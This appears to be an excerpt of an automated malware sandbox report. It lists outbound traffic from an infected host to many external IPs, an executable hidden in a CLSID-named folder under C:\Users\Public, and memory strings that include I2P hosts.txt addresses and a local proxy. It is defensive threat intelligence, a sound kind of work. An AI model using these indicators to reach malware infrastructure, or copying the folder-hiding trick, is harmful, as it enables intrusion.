Source: global traffic	TCP traffic: 192.168.2.7:49718 -> 88.210.6.42:25314
Source: global traffic	TCP traffic: 192.168.2.7:49719 -> 101.191.73.121:18088
Source: global traffic	TCP traffic: 192.168.2.7:49720 -> 207.178.119.175:29260
Source: global traffic	TCP traffic: 192.168.2.7:49725 -> 188.174.130.9:11724
Source: global traffic	TCP traffic: 192.168.2.7:49726 -> 188.187.151.89:26647
Source: global traffic	TCP traffic: 192.168.2.7:49730 -> 24.70.217.209:15318
Source: global traffic	TCP traffic: 192.168.2.7:49741 -> 89.89.209.95:62129
Source: global traffic	UDP traffic: 192.168.2.7:21264 -> 46.51.90.183:12340
Source: global traffic	UDP traffic: 192.168.2.7:21264 -> 185.128.245.162:25107
Source: global traffic	UDP traffic: 192.168.2.7:21264 -> 107.189.6.31:23012
Source: global traffic	UDP traffic: 192.168.2.7:21264 -> 99.234.18.44:23154
Source: global traffic	UDP traffic: 192.168.2.7:21264 -> 135.181.40.188:13568
Source: global traffic	UDP traffic: 192.168.2.7:21264 -> 176.109.240.152:23773
Source: global traffic	UDP traffic: 192.168.2.7:21264 -> 86.106.93.104:14840
Source: global traffic	UDP traffic: 192.168.2.7:21264 -> 24.231.176.11:22951
Source: global traffic	UDP traffic: 192.168.2.7:21264 -> 99.252.228.84:23131
Source: global traffic	UDP traffic: 192.168.2.7:21264 -> 85.239.63.250:26748
Source: global traffic	UDP traffic: 192.168.2.7:21264 -> 119.13.124.67:11313
Source: global traffic	UDP traffic: 192.168.2.7:21264 -> 213.145.125.139:21689
Source: global traffic	UDP traffic: 192.168.2.7:21264 -> 2.177.52.177:14810
Source: global traffic	UDP traffic: 192.168.2.7:21264 -> 78.47.80.55:12207
Source: global traffic	UDP traffic: 192.168.2.7:21264 -> 92.95.33.134:38552
Source: global traffic	UDP traffic: 192.168.2.7:21264 -> 81.183.201.129:9732
Source: global traffic	UDP traffic: 192.168.2.7:21264 -> 47.250.187.161:27292
Source: global traffic	UDP traffic: 192.168.2.7:21264 -> 85.239.53.47:28583
Source: global traffic	UDP traffic: 192.168.2.7:21264 -> 212.118.52.164:26199
Source: global traffic	UDP traffic: 192.168.2.7:21264 -> 188.89.23.222:19229
Source: global traffic	UDP traffic: 192.168.2.7:21264 -> 108.227.133.164:21344
Source: global traffic	UDP traffic: 192.168.2.7:21264 -> 217.10.112.72:10706
Source: global traffic	UDP traffic: 192.168.2.7:21264 -> 68.1.55.11:26636
Source: global traffic	UDP traffic: 192.168.2.7:21264 -> 5.19.249.240:19209
Source: global traffic	UDP traffic: 192.168.2.7:21264 -> 74.222.100.29:9686
Source: global traffic	UDP traffic: 192.168.2.7:21264 -> 190.22.24.78:33037
Source: global traffic	UDP traffic: 192.168.2.7:21264 -> 85.239.52.241:28764
Source: global traffic	UDP traffic: 192.168.2.7:21264 -> 159.196.73.121:50001
Source: global traffic	UDP traffic: 192.168.2.7:21264 -> 5.104.75.170:12345
Source: global traffic	UDP traffic: 192.168.2.7:21264 -> 154.61.58.162:23154
Source: global traffic	UDP traffic: 192.168.2.7:21264 -> 70.113.162.253:14928
Source: global traffic	UDP traffic: 192.168.2.7:21264 -> 85.6.171.9:19675
Source: global traffic	UDP traffic: 192.168.2.7:21264 -> 73.246.172.43:21102
Source: global traffic	UDP traffic: 192.168.2.7:21264 -> 68.65.178.44:23154
Source: global traffic	UDP traffic: 192.168.2.7:21264 -> 24.51.216.45:27375
Source: global traffic	UDP traffic: 192.168.2.7:21264 -> 138.74.168.219:16930
Source: global traffic	UDP traffic: 192.168.2.7:21264 -> 31.13.134.204:25275
Source: global traffic	UDP traffic: 192.168.2.7:9290 -> 139.162.110.14:22293
Source: global traffic	UDP traffic: 192.168.2.7:9290 -> 2.135.133.55:12868

Source: Joe Sandbox View

ASN Name: SHAWCA SHAWCA

Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.68.124

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

Code function: 29_2_00007FFB22705EEA recv,WSAGetLastError,

29_2_00007FFB22705EEA

Source: global traffic

DNS traffic detected: DNS query: time.windows.com

Source: yhar2he6rpt6n0h1w6rh.exe, 00000012.00000002.1546713788.00007FF70C31E000.00000004.00000001.01000000.00000007.sdmp, main.exe, 0000001D.00000002.2203168945.0000027B43FE4000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000029.00000003.2310786980.000001FE46F13000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000029.00000003.2310853931.000001FE46F18000.00000004.00000020.00020000.00000000.sdmp, update.pkg.18.dr	String found in binary or memory: http://127.0.0.1:8118
Source: svchost.exe, 00000028.00000002.2528233861.000002986495F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2528121324.0000029864937000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/STS
Source: svchost.exe, 00000028.00000003.2225363797.000002986496D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2236542045.000002986496E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2528233861.000002986495F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/STS09/xmldsig#ripledes-cbcices/SOAPFaultcurity-utility-1.0.xsd
Source: svchost.exe, 00000028.00000002.2528684973.0000029864E39000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2192487068.0000029864E89000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2528358277.0000029864983000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/tb
Source: svchost.exe, 00000028.00000002.2529174408.0000029864E89000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2528684973.0000029864E16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/tb:pp
Source: svchost.exe, 00000028.00000002.2529560921.0000029864EA3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526962025.000002986405F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/tb_
Source: svchost.exe, 00000028.00000003.2192382775.0000029864E89000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2192457979.0000029864E89000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2192566871.0000029864E89000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2192487068.0000029864E89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/tbpjl
Source: svchost.exe, 00000028.00000002.2528233861.000002986495F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasi8
Source: svchost.exe, 00000028.00000002.2528233861.000002986495F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2169625242.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2204570380.0000029864907000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2003614074.0000029864952000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2169519121.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2050807188.0000029864907000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2050828700.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2169664337.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526962025.0000029864088000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: svchost.exe, 00000028.00000003.2224850593.0000029864907000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd$
Source: svchost.exe, 00000028.00000003.2051472128.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2225074479.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2191388521.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2050882822.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2054077137.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2054436645.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2054374509.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2225637609.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2191695583.000002986490F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2225290392.000002986490F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2192265988.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2053957702.000002986490F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2527937439.0000029864900000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2191499844.000002986490F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2224850593.0000029864907000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2054022632.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2191764692.000002986490F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2191080698.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2169625242.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2204570380.0000029864907000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2054546359.000002986490E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdAA
Source: svchost.exe, 00000028.00000002.2528233861.000002986495F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2225341192.0000029864979000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdAAAA
Source: svchost.exe, 00000028.00000003.2190886218.0000029864929000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdAAAAAA
Source: svchost.exe, 00000028.00000003.2225341192.0000029864979000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdesAAAA
Source: svchost.exe, 00000028.00000003.2191080698.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2528233861.000002986495F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2050807188.0000029864907000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2050828700.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2225212612.000002986490F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2169664337.000002986490E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: svchost.exe, 00000028.00000003.2204570380.0000029864907000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd$
Source: svchost.exe, 00000028.00000003.2051472128.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2225074479.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2191388521.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2050882822.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2054077137.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2054436645.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2054374509.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2225637609.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2191695583.000002986490F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2225290392.000002986490F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2192265988.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2053957702.000002986490F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2527937439.0000029864900000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2191499844.000002986490F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2224850593.0000029864907000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2054022632.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2191764692.000002986490F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2191080698.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2169625242.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2204570380.0000029864907000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2054546359.000002986490E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdA
Source: svchost.exe, 00000028.00000003.2190886218.0000029864929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2528233861.000002986495F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2225341192.0000029864979000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdAAAA
Source: svchost.exe, 00000028.00000003.2190886218.0000029864929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2225341192.0000029864979000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdAAAAA
Source: svchost.exe, 00000028.00000003.2003614074.0000029864952000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdmlns:
Source: svchost.exe, 00000028.00000002.2528233861.000002986495F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/28
Source: yhar2he6rpt6n0h1w6rh.exe, 00000012.00000002.1546713788.00007FF70C31E000.00000004.00000001.01000000.00000007.sdmp, main.exe, 0000001D.00000002.2203168945.0000027B43FE4000.00000004.00000020.00020000.00000000.sdmp, update.pkg.18.dr	String found in binary or memory: http://identiguy.i2p/hosts.txt
Source: svchost.exe, 00000028.00000002.2527468407.00000298640EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://passport.net/tb
Source: update.pkg.18.dr	String found in binary or memory: http://reg.i2p/hosts.txt
Source: main.exe, 0000001D.00000002.2206219209.0000027B44860000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://reg.i2p/hosts.txtC
Source: main.exe, 0000001D.00000002.2206042707.0000027B4440D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://reg.i2p/hosts.txtc
Source: main.exe, 00000029.00000002.2528754555.000001FE46EDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://reg.i2p/hosts.txtp/
Source: yhar2he6rpt6n0h1w6rh.exe, 00000012.00000002.1546713788.00007FF70C31E000.00000004.00000001.01000000.00000007.sdmp, main.exe, 0000001D.00000002.2203168945.0000027B43FE4000.00000004.00000020.00020000.00000000.sdmp, update.pkg.18.dr	String found in binary or memory: http://rus.i2p/hosts.txt
Source: svchost.exe, 00000028.00000003.2051472128.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2050882822.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2054077137.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2053957702.000002986490F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2054022632.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2528233861.000002986495F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: svchost.exe, 00000028.00000002.2528121324.0000029864937000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: svchost.exe, 00000028.00000003.2225363797.000002986496D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2236542045.000002986496E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2528003910.0000029864913000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2191080698.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2528233861.000002986495F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2225212612.000002986490F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2169550030.000002986496E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy
Source: svchost.exe, 00000028.00000002.2528003910.0000029864913000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2528233861.000002986495F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: svchost.exe, 00000028.00000002.2528003910.0000029864913000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2191080698.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2528233861.000002986495F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2169625242.000002986490E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2225212612.000002986490F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2169664337.000002986490E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: svchost.exe, 00000028.00000002.2528684973.0000029864E39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: svchost.exe, 00000028.00000003.2236542045.000002986496E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2528233861.000002986495F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issuee
Source: svchost.exe, 00000028.00000003.2225363797.000002986496D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2236542045.000002986496E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2528233861.000002986495F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2169550030.000002986496E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issueure
Source: svchost.exe, 00000028.00000003.2225363797.000002986496D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2527366735.00000298640B3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2236542045.000002986496E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2528233861.000002986495F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2169550030.000002986496E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: svchost.exe, 00000028.00000003.2225363797.000002986496D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2236542045.000002986496E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2528233861.000002986495F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: update.pkg.18.dr	String found in binary or memory: http://shx5vqsw7usdaunyzr2qmes2fq37oumybpudrd4jjj4e4vk4uusa.b32.i2p/hosts.txt
Source: main.exe, 0000001D.00000002.2206042707.0000027B4440D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000029.00000002.2528754555.000001FE46EDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://shx5vqsw7usdaunyzr2qmes2fq37oumybpudrd4jjj4e4vk4uusa.b32.i2p/hosts.txt/
Source: main.exe, 00000029.00000002.2528754555.000001FE46EDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://shx5vqsw7usdaunyzr2qmes2fq37oumybpudrd4jjj4e4vk4uusa.b32.i2p/hosts.txti2p.su3
Source: main.exe, 00000029.00000002.2528754555.000001FE46EDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://shx5vqsw7usdaunyzr2qmes2fq37oumybpudrd4jjj4e4vk4uusa.b32.i2p/hosts.txttp://
Source: main.exe, 0000001D.00000002.2206042707.0000027B4440D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://shx5vqsw7usdaunyzr2qmes2fq37oumybpudrd4jjj4e4vk4uusa.b32.i2p/hosts.txtxyz/
Source: yhar2he6rpt6n0h1w6rh.exe, 00000012.00000002.1546713788.00007FF70C31E000.00000004.00000001.01000000.00000007.sdmp, main.exe, 0000001D.00000002.2203168945.0000027B43FE4000.00000004.00000020.00020000.00000000.sdmp, update.pkg.18.dr	String found in binary or memory: http://stats.i2p/cgi-bin/newhosts.txt
Source: svchost.exe, 00000000.00000002.1365593351.000001A7F5013000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.bingmapsportal.com
Source: svchost.exe, 00000028.00000003.1989281003.0000029864963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989259240.0000029864940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526898399.0000029864045000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989213625.000002986493B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/InlineSignup.aspx?iww=1&id=80502
Source: svchost.exe, 00000028.00000003.1989281003.0000029864963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989259240.0000029864940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1988983984.0000029864929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989763777.0000029864956000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1988983984.000002986492C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526962025.000002986405F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989069790.0000029864952000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989213625.000002986493B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/Wizard/Password/Change?id=80601
Source: svchost.exe, 00000028.00000003.1988983984.0000029864929000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80600
Source: svchost.exe, 00000028.00000003.1988983984.0000029864929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989763777.0000029864956000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989069790.0000029864952000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80601
Source: svchost.exe, 00000028.00000003.1988983984.0000029864929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989069790.0000029864952000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80603
Source: svchost.exe, 00000028.00000003.1988983984.0000029864929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989069790.0000029864952000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80604
Source: svchost.exe, 00000028.00000003.1988983984.0000029864929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989069790.0000029864952000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80605
Source: svchost.exe, 00000028.00000003.1989281003.0000029864963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989259240.0000029864940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526898399.0000029864045000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989213625.000002986493B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80600
Source: svchost.exe, 00000028.00000003.1989281003.0000029864963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989259240.0000029864940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526898399.0000029864045000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989213625.000002986493B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80601
